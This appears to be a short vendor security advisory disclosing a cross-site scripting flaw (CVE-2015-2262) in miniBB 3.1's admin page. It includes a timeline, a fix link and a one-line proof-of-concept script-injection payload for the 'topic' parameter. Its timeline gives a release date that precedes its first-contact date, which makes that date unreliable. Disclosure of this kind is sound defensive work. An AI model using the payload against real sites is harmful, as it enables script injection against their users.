Cross-site Scripting Vulnerability in miniBB

Information

Advisory by Netsparker (now Invicti)
Name: XSS Vulnerability in miniBB
Affected Software: miniBB
Affected Versions: 3.1 and possibly below
Vendor Homepage: http://www.minibb.com
Vulnerability Type: Cross-site Scripting
Severity: Important
CVE-ID: CVE-2015-2262
Invicti Advisory Reference: NS-15-006

Technical Details

Proof of Concept URLs for XSS in miniBB:

Page: bb_admin.php
Parameter Name: topic
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x005F12)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

05/03/2015 – First Contact
10/04/2015 – Vulnerability fixed
14/04/2014 – Advisory released

Solution

http://www.minibb.com/forums/news-9/minibb-3.1.1-has-been-released-6519.html

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.